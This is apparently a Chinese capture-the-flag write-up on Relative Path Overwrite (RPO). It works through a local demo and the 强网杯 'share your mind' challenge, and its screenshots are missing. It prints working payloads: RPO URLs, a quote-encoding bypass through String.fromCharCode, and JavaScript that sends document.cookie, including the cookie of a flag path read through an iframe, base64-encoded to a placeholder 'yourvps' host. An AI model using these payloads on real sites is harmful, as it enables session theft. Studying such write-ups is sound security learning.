原理:相对路径覆盖
Ex.简单引用其他目录下的js
1.php
<?php
echo "alert(1)";
?>
<script src="alert.js"></script>
目标js:
payload:
http://127.0.0.1/rpo/222%2f1.php%2f..%2f..%2f1%2f1.php
正常情况下:
成功引用:
payload分析:
服务器端会将payload解析为http://127.0.0.1/rpo/222/1.php/../../1/1.php
最终url还是指向http://127.0.0.1/rpo/1/1.php
而客户端会将payload中的{222%2f1.php%2f..%2f..%2f1%2f1.php}当成一个字符串处理,相当于访问http://127.0.0.1/rpo/string 而服务器返回的信息中1.php的引用js代码为{<script src="alert.js"></script>}即1.php同目录下的alert.js ,但客户端理解为string同目录下的alert.js即{alert(2)}.
2.跟着writeup 的 强网杯 share your mind 复现
查看源代码:
留言:
构造payload:
http://39.107.33.96:20000/index.php/view/article/2298/..%2f..%2f..%2f..%2findex.php
why?
由图一可知index.php会引用同级的static/js/jquery.min.js
而我们构造的payload相当于引用http://39.107.33.96:20000/index.php/view/article/2298/static/js/jquery.min.js
可知static/js/jquery.min.js不存在,浏览器会认为http://39.107.33.96:20000/index.php/view/article/2298的内容为static/js/jquery.min.js文件的内容即{alert(1)}
成功引用:
剩下的就是提交url等着vps接收cookie了
留言:
b=document.cookie;a="<img src=yourvps"+btoa(b)+">";document.write(a);
其中单引号和双引号会被html编码
所以用eval(String.fromCharCode(97))绕过
收到cookie base64解码:HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
payload:
var i = document.createElement("iframe");
i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);
i.addEventListener( "load", function(){
var content = i.contentWindow.document.cookie;
location='//yourvps/'+btoa(content);
}, false);
解码:
总结:
rpo真是思路清奇啊!